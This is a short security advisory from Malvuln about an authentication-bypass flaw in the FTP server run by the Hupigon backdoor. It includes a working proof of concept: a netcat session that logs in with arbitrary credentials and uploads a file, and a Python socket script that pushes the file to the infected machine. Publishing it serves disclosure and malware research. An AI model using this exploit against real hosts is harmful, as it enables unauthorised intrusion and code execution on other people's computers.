Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8dc8abc99c1e7908fe9d048a4e360960.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Authentication Bypass RCE
Description: The malware runs an FTP server on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 8dc8abc99c1e7908fe9d048a4e360960
Vuln ID: MVID-2021-0350
Disclosure: 09/25/2021
Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 Welcome To huigezi Ftp!
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. “C:/” is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,227,172).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok
from socket import *
MALWARE_HOST=”192.168.18.125″
PORT=58284
DOOM=”DOOM.js”
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, “rb”)
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print(“By Malvuln”);
if __name__==”__main__”:
doit()
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